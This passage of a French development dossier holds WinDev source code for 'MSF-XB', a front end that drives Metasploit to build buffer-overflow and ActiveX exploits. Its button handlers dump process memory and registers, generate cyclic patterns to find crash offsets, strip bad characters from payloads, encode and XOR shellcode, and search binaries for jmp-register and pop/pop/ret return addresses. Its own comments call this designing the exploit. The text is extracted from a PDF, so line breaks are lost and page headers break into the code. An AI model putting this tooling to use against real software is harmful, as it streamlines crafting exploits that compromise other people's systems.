SCFindReplaceTXT.SAI_PATTERN= ChaîneVersUTF8(SCFindReplaceTXT.SAI_PATTERN, COMBO_ALPHABET..ValeurAffichée)CAS "ansi2unicode"

SCFindReplaceTXT.SAI_PATTERN= AnsiVersUnicode(SCFindReplaceTXT.SAI_PATTERN, COMBO_ALPHABET..ValeurAffichée)CAS "unicode2ansi"

WHEN EXCEPTION INSCFindReplaceTXT.SAI_PATTERN= UnicodeVersAnsi(SCFindReplaceTXT.SAI_PATTERN, COMBO_ALPHABET..ValeurAffichée)

DO// Erreur(ErrorInfo())FIN

CAS "ansi2oem"SCFindReplaceTXT.SAI_PATTERN= AnsiVersOem(SCFindReplaceTXT.SAI_PATTERN)

CAS "oem2ansi"SCFindReplaceTXT.SAI_PATTERN= OemVersAnsi(SCFindReplaceTXT.SAI_PATTERN)

CAS "ascii2js"SCFindReplaceTXT.SAI_PATTERN= ASCII2JS(SCFindReplaceTXT.SAI_PATTERN, "")

CAS "hex2js"SCFindReplaceTXT.SAI_PATTERN= Remplace(SCFindReplaceTXT.SAI_PATTERN, "\x", "%")

AUTRE CAS

FIN

ExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification)

Clic sur BTN_DumpReg//On utilise l'outil de Manibal// C:\Mes Projets\MSF-XB11\Exe\TOOLZ\miniDebugger>sca.exe// Usage: python dumper.py [pid] [reg] [size to dump]

Page 625: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 630

//NB: le registre doit être en minuscule

sMaCommande is string= Caract(34)+fRepEnCours()+"\TOOLZ\miniDebugger\sca.exe"+Caract(34) +" "+SAI_PID+" "+Lower(COMBO_RegDump..ValeurAffichée)+" "+SAI_SizeDump

MyDos:CommandLine_Let(sMaCommande)//VersPressePapier(sMaCommande)SAI_DumpReg= MyDos:ExecuteCommand()

SI ChaîneOccurrence(SAI_DumpReg, "DebugActiveProcess")>0 ALORSSAI_DumpReg = "ERREUR: je ne peux pas dumper la mémoire si un débogueur est déjà attaché au processus!"

FIN

Clic sur BTN_EXECUTE_PROCESSnDialogue is intSI SAI_PROCESSUS<>"" ALORS

SI TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))<>0 ALORSMessage("Programme déjà lancé.")nDialogue=1

SINONSI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".OCX" ALORS

SINONSI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".DLL" ALORS

//Charger la DLL?

SINON //.EXE//1 : &Lancer//2 : Xdebug//3 : Lancer dans le débogueur//4 : &Ne pas lancernDialogue =Dialogue("Lancer le programme?")sCommande is stringSELON nDialogue

// &LancerCAS 1// sCommande=Caract(34)+Caract(34)+Caract(34)+SAI_PROCESSUS+Caract(34)+Caract(34)+Caract(34)

sCommande=SAI_PROCESSUS// info(sCommande)// DDELance(sCommande, DDEActif, faux, caract(34)+fExtraitChemin(SAI_PROCESSUS,fRépertoire)+caract(34))

DDELance(sCommande, DDEActif, Faux, fExtraitChemin(SAI_PROCESSUS,fRépertoire))

//Xdebug//Débuggeur intégré de vroy1CAS 2

Page 626: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 631

OuvreSoeur("FEN_MAIN_WDDEBUG"+Dessus, SAI_PROCESSUS, 1)

// Lancer dans le débogueurCAS 3// info(sCheminDebugger)

DDELance(Caract(34)+sCheminDebugger+Caract(34)+" "+Caract(34)+SAI_PROCESSUS+Caract(34))

//Ne pas lancerCAS 4

nDialogue=0FIN

//Exécution directe// DDELance(SAI_PROCESSUS, DDEActif, faux, fExtraitChemin(SAI_PROCESSUS,fRépertoire))

//Exécution sous le debugger// DDELance(SAI_PROCESSUS, DDEActif, Faux, fExtraitChemin(SAI_PROCESSUS,fRépertoire))// SI fTaille(Caract(34)+sCheminDebugger+Caract(34))=0 ALORS// Error("Debugger not found in"+RC+Caract(34)+sCheminDebugger+Caract(34) +RC+"check the DEBUGGER_PATH in the INI file MSF-XB.INI")// SINON// DDELance(Caract(34)+sCheminDebugger+Caract(34)+" "+caract(34)+SAI_PROCESSUS+caract(34))// FINFIN

FINFIN

SI nDialogue<>0 ALORSMultitâche(200)

//On trouve le PID du processusSAI_PID= TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))

// SAI_PID=6492Message("")SI sai_pid<>0 ALORS fctListeDLLsMemoire()Message("")

FINfctListeInfosProcessus()

//On liste les DLLs trouvées dans le path de l'exécutableSI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".EXE" ALORS //Ne pas traiter les DLLs (.DLL)

TableSupprimeTout(TABLE_DLL)//Pour éviter les erreurs quand le programme est à la racine d'un disque dur, ex: C:\Server.exesCheminTarget is string=fExtraitChemin(SAI_PROCESSUS,fDisque+fRépertoire)

SI ChaîneOccurrence(sCheminTarget, "\")=1 ALORS //C:\

Page 627: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 632

fListeFichier(sCheminTarget+"*.DLL", "fctAjouteDllDansTable", frNonRécursif)SINON

fListeFichier(sCheminTarget+"*.DLL", "fctAjouteDllDansTable")FIN

FIN

SI COMBO_PROTOCOLE=-1 ALORS//On essaie de trouver le protocole correspondant à l'applinCpt=2nCptProtocole is int=ListeOccurrence(COMBO_PROTOCOLE)POUR nlCpt=2 A nCptProtocole

SI ChaîneOccurrence(Upper(SAI_PROCESSUS),Upper(COMBO_PROTOCOLE[nlCpt]))>0 ALORSCOMBO_PROTOCOLE=nlCptTANTQUE Upper(COMBO_PROTOCOLE..ValeurAffichée)<>"FTP" ET nCpt<ListeOccurrence(COMBO_PROTOCOLE)

COMBO_PROTOCOLE=nCptnCpt++

FINExécuteTraitement(COMBO_PROTOCOLE,trtSélection)

FINSI Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".OCX" OU Upper(fExtraitChemin(SAI_PROCESSUS,fExtension))=".DLL" ALORS

///On exploite un ActiveXCOMBO_PROTOCOLE = ListeCherche(COMBO_PROTOCOLE, "browser")

// PAYLOAD_BADCHARS = caract(34)+"\x00\x09\x0a\x0d'\\"+caract(34) //NULL, TAB, LF, CRPAYLOAD_BADCHARS = "\x00\x09\x0a\x0d'\\" //NULL, TAB, LF, CR

//On cherche son CLSIDSI SAI_CLSID="" ALORS

fctChercheCLSID()FIN

SAI_CLSID..Visible=VraiSAI_ProgID..Visible=Vrai

GR_HTTP..Visible=VraiSINON

GR_HTTP..Visible=FauxFIN

FINFIN

GR_INFO_PROCESS..Visible=VraiFIN

Clic sur BTN_GENERER_ASCII

Page 628: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 633

SCFindReplaceTXT.SAI_PATTERN=""nCptASCII is int//pour ncptascii=35 à 255POUR nCptASCII=SAI_ASCII1 A SAI_ASCII2

//SAI_PATTERN+=caract(nCptASCII)SI nCptASCII<16 ALORS

SCFindReplaceTXT.SAI_PATTERN+="\x0" + NumériqueVersChaîne(nCptASCII,"x")SINON

SCFindReplaceTXT.SAI_PATTERN+="\x" + NumériqueVersChaîne(nCptASCII,"x")FIN

FIN

//On vire tous les badcharsnCptASCII=1TANTQUE Milieu(PAYLOAD_BADCHARS,nCptASCII,4)<>""

SCFindReplaceTXT.SAI_PATTERN=Remplace(SCFindReplaceTXT.SAI_PATTERN,Milieu(PAYLOAD_BADCHARS,nCptASCII,4),"")nCptASCII+=4

FIN

//LIB_Taille_Pattern="Taille: "+taille(SAI_PATTERN)/4ExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification)

Clic sur BTN_GENERER_ASCII1SCFindReplaceTXT.SAI_PATTERN=""nCptASCII is int//Génération des chiffres de 0 à 9 (répétés 4 fois à chaque fois)POUR nCptASCII=48 A 57

SCFindReplaceTXT.SAI_PATTERN+=Répète("\x" + NumériqueVersChaîne(nCptASCII,"x"), 4) //NumériqueVersChaîne(nCptASCII,"x")FIN

//Génération des lettres de A à Z (répétées 4 fois à chaque fois)POUR nCptASCII=41 A 90

SCFindReplaceTXT.SAI_PATTERN+=Répète("\x" + NumériqueVersChaîne(nCptASCII,"x"), 4) //NumériqueVersChaîne(nCptASCII,"x")FIN

//Génération des lettres de a à z (répétées 4 fois à chaque fois)POUR nCptASCII=97 A 122

SCFindReplaceTXT.SAI_PATTERN+=Répète("\x" + NumériqueVersChaîne(nCptASCII,"x"), 4) //NumériqueVersChaîne(nCptASCII,"x")FIN

//On vire tous les badcharsnCptASCII=1TANTQUE Milieu(PAYLOAD_BADCHARS,nCptASCII,4)<>""

SCFindReplaceTXT.SAI_PATTERN=Remplace(SCFindReplaceTXT.SAI_PATTERN,Milieu(PAYLOAD_BADCHARS,nCptASCII,4),"")

Page 629: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 634

nCptASCII+=4FIN

//LIB_Taille_Pattern="Taille: "+taille(SCFindReplaceTXT.SAI_PATTERN)/4ExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification) //Recalcule la taille de la pattern

Clic sur BTN_GENERER_PATTERNsCheminPatternCreate is string=gsCheminMSF3+"home\framework\tools\pattern_create.rb"SI fTaille(sCheminPatternCreate)>0 ALORS

SINONsCheminPatternCreate= fRechercheFichier(gsCheminMSF3, "pattern_create.rb")

FIN

//Ici on utilise le MSF3//Par défaut: ="C:\Program Files\Metasploit\Framework3\"

// lpCmdLine is string="ruby "+Caract(34)+gsCheminMSF3+"framework\tools\pattern_create.rb"+Caract(34)+" "+SAI_PATTERN_TAILLE//+">c:\pattern.txt"

lpCmdLine is string=Caract(34)+gsCheminRuby+Caract(34)+" "+Caract(34)+sCheminPatternCreate+Caract(34)+" "+SAI_PATTERN_TAILLE//+">c:\pattern.txt"

SI EnModeTest() ALORS VersPressePapier(lpCmdLine)MyDos:CommandLine_Let(lpCmdLine)

//On récupère la chaîne pattern alpha-numérique non-redondanteSCFindReplaceTXT.SAI_PATTERN=NoSpace(Remplace(MyDos:ExecuteCommand(), RC, ""))

// lpCmdLine="cmd.exe "+caract(34)+gsCheminMSF3+"bin\ruby"+caract(34)+" pattern_create.rb "+SAI_PATTERN_TAILLE+">c:\pattern.txt"//bad ddelance(lpCmdLine, DDEIconize, True, caract(34)+gsCheminMSF3+"home\framework\tools\"+caract(34))

// multitache(150)// SAI_PATTERN=fChargeTexte("c:\pattern.txt") //EN DUR!!!!

SI 2=2 ALORS

SINON

//Ici on utilise le MSF2//Par défaut: ="C:\Program Files\Metasploit Framework\"

SI SAI_PATTERN_TAILLE<=0 ALORS RepriseSaisie(SAI_PATTERN_TAILLE)

Page 630: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 635

fSupprime(gsCheminMSF2+"home\pattern.txt",frLectureSeule)

//On lance cygwin//Méthode 1

nResHandleFen est un entier système = SysFenHandle("~")SI nResHandleFen<=0 ALORS

//On lance cygwinLanceAppli(Caract(34)+gsCheminMSF2+"cygwin.bat"+Caract(34),exeIconise,exeNonBloquant, gsCheminMSF2)

FIN

//Méthode 2// lpCmdLine is string =""// nCmdShow is int=1// nRetour is system int//// //lpCmdLine="CMD.EXE /C "+Caract(34)+"MonProgDos.exe MonFichier.xxx >Resultat.txt"+Caract(34)// lpCmdLine="CMD.EXE /C "+Caract(34)+gsCheminMSF2+"cygwin.bat"+Caract(34)// nRetour=API("kernel32","WinExec" , &lpCmdLine, nCmdShow)

heureDebut is int=HeureSys()TANTQUE nResHandleFen<=0 ET HeureVersEntier(HeureSys())-heureDebut<500

Multitâche(50)nResHandleFen= SysFenHandle("~")

FINSI nResHandleFen>0 ALORS

Multitâche(50)// EnvoieTouche("msfpescan"+SAI_OPCODE_LIST_PARAMETRES+"{ENTREE}",nResHandleFen)EnvoieTouche("perl -I framework/lib -e 'use Pex; print Pex::Text::PatternCreate",nResHandleFen)

SI 1=2 ALORSEnvoieTouche("p",nResHandleFen)Multitâche(5)EnvoieTouche("e",nResHandleFen)Multitâche(5)EnvoieTouche("r",nResHandleFen)Multitâche(5)EnvoieTouche("l",nResHandleFen)Multitâche(5)EnvoieTouche(" ",nResHandleFen)Multitâche(5)EnvoieTouche("-",nResHandleFen)Multitâche(5)EnvoieTouche("l",nResHandleFen)

Page 631: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 636

Multitâche(5)EnvoieTouche(" ",nResHandleFen)Multitâche(5)EnvoieTouche("f",nResHandleFen)Multitâche(5)EnvoieTouche("r",nResHandleFen)Multitâche(5)EnvoieTouche("a",nResHandleFen)Multitâche(5)EnvoieTouche("m",nResHandleFen)Multitâche(5)EnvoieTouche("e",nResHandleFen)Multitâche(5)EnvoieTouche("w",nResHandleFen)Multitâche(5)EnvoieTouche("o",nResHandleFen)Multitâche(5)EnvoieTouche("r",nResHandleFen)Multitâche(5)EnvoieTouche("k",nResHandleFen)Multitâche(5)EnvoieTouche("/",nResHandleFen)Multitâche(5)EnvoieTouche("l",nResHandleFen)Multitâche(5)EnvoieTouche("i",nResHandleFen)Multitâche(5)EnvoieTouche("b",nResHandleFen)EnvoieTouche(" ",nResHandleFen)EnvoieTouche("-",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche(" ",nResHandleFen)EnvoieTouche("'",nResHandleFen)EnvoieTouche("u",nResHandleFen)EnvoieTouche("s",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche(" ",nResHandleFen)EnvoieTouche("P",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("x",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche("T",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("x",nResHandleFen)EnvoieTouche("t",nResHandleFen)

Page 632: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 637

EnvoieTouche(":",nResHandleFen)EnvoieTouche(":",nResHandleFen)EnvoieTouche("P",nResHandleFen)EnvoieTouche("a",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("r",nResHandleFen)EnvoieTouche("n",nResHandleFen)EnvoieTouche("C",nResHandleFen)EnvoieTouche("r",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("a",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("e",nResHandleFen)

FIN

// EnvoieTouche(caract(40),nResHandleFen)EnvoieTouche("{(}"+SAI_PATTERN_TAILLE +Caract(41)+"'"+">pattern.txt"+"{ENTREE}",nResHandleFen)

SI 1=2 ALORSEnvoieTouche("{",nResHandleFen)EnvoieTouche("(",nResHandleFen)EnvoieTouche("}",nResHandleFen)EnvoieTouche(SAI_PATTERN_TAILLE,nResHandleFen)EnvoieTouche(Caract(41),nResHandleFen)EnvoieTouche("'",nResHandleFen)EnvoieTouche(">",nResHandleFen)EnvoieTouche("p",nResHandleFen)EnvoieTouche("a",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("e",nResHandleFen)EnvoieTouche("r",nResHandleFen)EnvoieTouche("n",nResHandleFen)EnvoieTouche(".",nResHandleFen)EnvoieTouche("t",nResHandleFen)EnvoieTouche("x",nResHandleFen)EnvoieTouche("t",nResHandleFen)Multitâche(10)EnvoieTouche("{ENTREE}",nResHandleFen)

FIN

Multitâche(200)

//On récupère la chaîne pattern alpha-numérique non-redondante

Page 633: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 638

SCFindReplaceTXT.SAI_PATTERN=fChargeTexte(gsCheminMSF2+"home\pattern.txt")

SI SCFindReplaceTXT.SAI_PATTERN="" ALORS//On recommence...Exécute("BTN_GENERER_PATTERN..clic")

FINSI nResHandleFen>0 ALORS

Multitâche(100)ExeTermine(nResHandleFen)

FINFIN

//Voir: http://metasploit.blogspot.com/2006/04/groupwise-messenger-server.html// $ perl sdk/patternOffset.pl 0x61614273 8192

FIN

//LIB_Taille_Pattern="Taille: "+SAI_PATTERN_TAILLEExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification)

Clic sur BTN_GENERER_PATTERN1SCFindReplaceTXT.SAI_PATTERN=Répète(SAI_PATTERN_CAR,SAI_PATTERN_TAILLE)//LIB_Taille_Pattern="Taille: "+SAI_PATTERN_TAILLEExécuteTraitement(SCFindReplaceTXT.SAI_PATTERN, trtModification) //Recalcule la taille de la pattern...

Clic sur BTN_GENERER_PATTERN2SI COMBO_Transformation..ValeurAffichée="hex2asm" ALORS

SC_RechercherRemplacerTXT.SAI_Shellcode2=Minuscule(SC_RechercherRemplacerTXT1.SAI_Shellcode)HLitPremier(ASM_CODES,CODE_HEXA)TANTQUE PAS HEnDehors(ASM_CODES)

SI ChaîneOccurrence(SC_RechercherRemplacerTXT.SAI_Shellcode2, ASM_CODES.CODE_HEXA)>0 ALORSSC_RechercherRemplacerTXT.SAI_Shellcode2 = Remplace(SC_RechercherRemplacerTXT.SAI_Shellcode2, ASM_CODES.CODE_HEXA, ASM_CODES.CODE_ASM+RC)

FINHLitSuivant(ASM_CODES)

FINRETOUR

FIN

fSauveTexte("transfo.txt", SC_RechercherRemplacerTXT1.SAI_Shellcode)

sMaCommande is string

Page 634: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 639

SELON COMBO_Transformation..ValeurAffichéeCAS "hex2byte"

SI SAI_Options<>"" ALORSsMaCommande="hex2byte.exe -o transfo1.txt "+SAI_Options+" transfo.txt"

SINONsMaCommande="hex2byte.exe -o transfo1.txt transfo.txt"

FINCAS "byte2hex"

SI SAI_Options<>"" ALORSsMaCommande="byte2hex.exe -o transfo1.txt "+SAI_Options+" transfo.txt"

SINONsMaCommande="byte2hex.exe -o transfo1.txt transfo.txt"

FINCAS "xor"

sMaCommande="xor.exe transfo.txt transfo1.txt "+SAI_OptionsAUTRE CAS

FINDDELance(sMaCommande, DDEInactif, Vrai)SI PAS EnModeTest() ALORS fSupprime("transfo.txt")

SC_RechercherRemplacerTXT.SAI_Shellcode2=fChargeTexte("transfo1.txt")SI PAS EnModeTest() ALORS fSupprime("transfo1.txt")

Exécute("SC_RechercherRemplacerTXT.SAI_Shellcode2..Modifie")

Clic sur BTN_GenererPayload

fctEncodeShellcode()

Clic sur BTN_LISTER_OPCODESSI COMBO_OPCODE_LIST..ValeurAffichée="msfpescan" ALORS// SI fTaille(gsCheminMSF3+"home\framework\tools\pattern_create.rb")>0 ALORS

//Ici on utilise le MSF3//Par défaut: ="C:\Program Files\Metasploit\Framework3\"

SI SAI_PID=0 ALORSSAI_PID=TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))

// SI SAI_PID=0 ALORS RepriseSaisie(SAI_PID)FIN

//Chemin du répertoire créé par MEMDUMP

Page 635: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 640

// //CheminDuDump is string=gsCheminMSF2+"home\framework\tools\" + fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension) +"\"// CheminDuDump is string=gsCheminMSF2+"home\framework\tools\"+fExtraitChemin(SAI_PROCESSUS,fFichier) //+fExtension)

NomRepDump is string// SI SAI_PROCESSUS_VERSION<>"" ALORS// NomRepDump= SAI_PROCESSUS_VERSION// NomRepDump=Remplace(NomRepDump," ","_")// NomRepDump=Remplace(NomRepDump,",","")// CheminDuDump+="_"+NomRepDump// FIN// CheminDuDump=ComplèteRep(CheminDuDump)

CheminDuDump is string=ComplèteRep(fRepEnCours())+"TEMP\" +fExtraitChemin(SAI_PROCESSUS,fFichier) //+SAI_PID

// CheminListeOpcodes is string=completerep(gsCheminMSF2) + "home\framework\tools\" + fExtraitChemin(SAI_PROCESSUS,fFichier)//+fExtension)

CheminListeOpcodes is string=ComplèteRep(gsCheminMSF3) + "framework\" + fExtraitChemin(SAI_PROCESSUS,fFichier) //+fExtension)

SI SAI_PROCESSUS_VERSION<>"" ALORSNomRepDump= SAI_PROCESSUS_VERSIONNomRepDump=Remplace(NomRepDump," ","_")NomRepDump=Remplace(NomRepDump,",","")CheminListeOpcodes+="_"+NomRepDump

FINCheminListeOpcodes=ComplèteRep(CheminListeOpcodes)

//MSFpescan du MSF2 ://Par défaut gsCheminMSF2 is string="C:\Program Files\Metasploit Framework\"

// CheminMSFpescan is string= completerep(gsCheminMSF2) + "home\framework\msfpescan"

// //MSFpescan du MSF3 : (MARCHE PAS BIEN!!!)// //Par défaut gsCheminMSF3 is string="C:\Program Files\Metasploit\Framework3\"

CheminMSFpescan is string=fRechercheFichier(gsCheminMSF3, "msfpescan")// SI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS //On ajoute "home\" dans le path// CheminMSFpescan=ComplèteRep(gsCheminMSF3) + "home\framework\msfpescan"// sinon// CheminMSFpescan=completerep(gsCheminMSF3) + "framework\msfpescan"// fin

sCheminFichierResultat is stringSI COMBO_OPCODE..ValeurAffichée="JUMP" ALORS

SI COMBO_REGISTRE=1 ALORS //TOUS LES REGISTRES// nCpt is int

sCheminFichierResultat= CheminDuDump+"_JUMPS.TXT"nTemp is int=ListeOccurrence(COMBO_REGISTRE)POUR ncpt=2 A nTemp //On commence à 2 car le permier est "ALL"

SAI_OPCODE_LIST_PARAMETRES+=" -j "+COMBO_REGISTRE[ncpt]

Page 636: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 641

SAI_OPCODE_LIST_PARAMETRES+=" "+Caract(34)+SAI_PROCESSUS+Caract(34)// SAI_OPCODE_LIST_PARAMETRES+= " >>" +caract(34)+ sCheminFichierResultat +Caract(34)

FINSINON //UN SEUL REGISTRE

sCheminFichierResultat= CheminDuDump+"_JUMPS_"+COMBO_REGISTRE..ValeurAffichée+".TXT"SAI_OPCODE_LIST_PARAMETRES+=" -j "+COMBO_REGISTRE..ValeurAffichéeSAI_OPCODE_LIST_PARAMETRES+=" "+Caract(34)+SAI_PROCESSUS+Caract(34)// SAI_OPCODE_LIST_PARAMETRES+=" >" +Caract(34)+ sCheminFichierResultat +Caract(34)

//Pour le Design de l'exploit:COMBO_RetType..Valeur= "jmp "+COMBO_REGISTRE..ValeurAffichée

FINSINON //POP/POP/RET

sCheminFichierResultat= CheminDuDump+"_POP_POP_RET.TXT"//FORMAT MSF2:// SAI_OPCODE_LIST_PARAMETRES+=" -s >" +caract(34)+ sCheminFichierResultat +caract(34)

//FORMAT MSF3:SAI_OPCODE_LIST_PARAMETRES+=" -p"SAI_OPCODE_LIST_PARAMETRES+=" "+Caract(34)+SAI_PROCESSUS+Caract(34)// SAI_OPCODE_LIST_PARAMETRES+=" >" +Caract(34)+ sCheminFichierResultat +Caract(34)

//SAI_OPCODE_LIST_PARAMETRES=+" -s "" "+Caract(34)+CheminDuDump+Caract(34)+" >"+Caract(34)+ ComplèteRep(CheminListeOpcodes) + "POP_POP_RET.TXT"+Caract(34)

//DEBUG://SAI_OPCODE_LIST_PARAMETRES=Caract(34)+ComplèteRep(gsCheminMSF3) + "bin\ruby.exe"+Caract(34) +" "+ Caract(34)+CheminMSFpescan+Caract(34) + SAI_OPCODE_LIST_PARAMETRES

//Pour le Design de l'exploit:COMBO_RetType..Valeur="pop pop ret"

FIN

//FORMAT MSF2: en utilisant memdump// SAI_OPCODE_LIST_PARAMETRES=" -d "+Caract(34)+CheminDuDump+Caract(34)//FORMAT MSF3: en utilisant memdump// SAI_OPCODE_LIST_PARAMETRES=" -M "+Caract(34)+CheminDuDump+Caract(34)//FORMAT MSF3: SANS utiliser memdump//Ref: Mail MOURRON 04/04/2007// msfpescan -f C:\WINDOWS\system32\userenv.dll -r "\xFF\x53\x04"// [C:\WINDOWS\system32\userenv.dll]// 0x7699c81A ff5304// 0x769d78ab ff5304// SAI_OPCODE_LIST_PARAMETRES+=" "+Caract(34)+SAI_PROCESSUS+Caract(34)

Page 637: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 642

sMaCommande is string=Caract(34)+gsCheminRuby+Caract(34) +" "+ Caract(34)+CheminMSFpescan+Caract(34) +SAI_OPCODE_LIST_PARAMETRES

// info(sMaCommande)SI EnModeTest() ALORS VersPressePapier(sMaCommande)

MyDos:CommandLine_Let(sMaCommande)fSauveTexte(sCheminFichierResultat, MyDos:ExecuteCommand())

// sinon// //MSF2:// //On lance cygwin// nResHandleFen est un entier systeme= SysFenHandle("~")// si nResHandleFen<=0 alors// //On lance cygwin// //MSF2:// // LanceAppli(caract(34)+gsCheminMSF2+"cygwin.bat"+caract(34), exeIconise,exeNonBloquant, gsCheminMSF2)// //MSF3:// LanceAppli(Caract(34)+gsCheminMSF3+"cygwin.bat"+Caract(34), exeIconise,exeNonBloquant, gsCheminMSF3)// fin// heureDebut is int=heuresys()// tantque nResHandleFen<=0 et HeureVersEntier(heuresys())-heureDebut<500// nResHandleFen= SysFenHandle("~")// fin// si nResHandleFen>0 alors// EnvoieTouche("msfpescan"+SAI_OPCODE_LIST_PARAMETRES+"{ENTREE}",nResHandleFen)// fin////// si nResHandleFen<>0 alors// multitache(300)// // ExeTermine(nResHandleFen)// fin// fin

//MSF3:// sMaCommande is string="ruby "+CheminMSFpescan+SAI_OPCODE_LIST_PARAMETRES// VersPressePapier(sMaCommande)// MyDos:CommandLine_Let(sMaCommande) //+" "+Caract(34)+CheminDuDump+Caract(34))// MyDos:ExecuteCommand()

Message("opcodes/adresses de retour listés dans "+sCheminFichierResultat)SI OuiNon("Voir les résultats?") ALORS

LanceAppliAssociée(sCheminFichierResultat)FIN

FIN

Clic sur BTN_LOAD_DLL

Page 638: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Code des champsPartie 4

26/10/2008 643

gnInstanceDLL=ChargeDLL(SAI_DLL)SI gnInstanceDLL<>0 ALORS

BTN_UNLOAD_DLL..Visible=VraifctListeDLLsMemoire()

SINONErreur("Impossible de charger la DLL"+RC+SAI_DLL)

FIN

Clic sur BTN_MEMDUMP//Par défaut : gsCheminMSF2 is string="C:\Program Files\Metasploit Framework\"SI SAI_PID=0 ALORS SAI_PID=TROUVE_PID_PROCESSUS(fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension))SI SAI_PID<>0 ALORS

//CheminMemdump is string=gsCheminMSF2+"home\framework\tools\memdump.exe"//CheminMemdump is string=frepencours()+"\memdump.exe"//C:\Program Files\Metasploit\Framework3\//Par défaut: gsCheminMSF3 is string="C:\Program Files\Metasploit\Framework3\"CheminMemdump is stringSI fTaille(gsCheminMSF3+"home\framework\README")>0 ALORS

CheminMemdump=gsCheminMSF3+"home\framework\tools\memdump\memdump.exe"SINON

//CheminMemdump=gsCheminMSF3+"framework\tools\memdump\memdump.exe"CheminMemdump=fRechercheFichier(gsCheminMSF3, "memdump.exe")

FIN

SI fTaille(CheminMemdump)<=0 ALORSErreur("memdump non trouvé dans"+RC+CheminMemdump)RETOUR

FIN

// //CheminDuDump is string=gsCheminMSF2+"home\framework\tools\" + fExtraitChemin(SAI_PROCESSUS,fFichier+fExtension)// CheminDuDump is string=fExtraitChemin(SAI_PROCESSUS,fFichier) //+fExtension)// si SAI_PROCESSUS_VERSION<>"" alors// NomRepDump is string= SAI_PROCESSUS_VERSION// NomRepDump=Remplace(NomRepDump," ","_")// NomRepDump=Remplace(NomRepDump,",","")// CheminDuDump+="_"+NomRepDump// fin// CheminDuDump=ComplèteRep(CheminDuDump)

// CheminDuDump is string="" //Sera un répertoire nommé avec le PID

Sablier(Vrai)MyDos:CommandLine_Let(Caract(34)+CheminMemdump+Caract(34)+

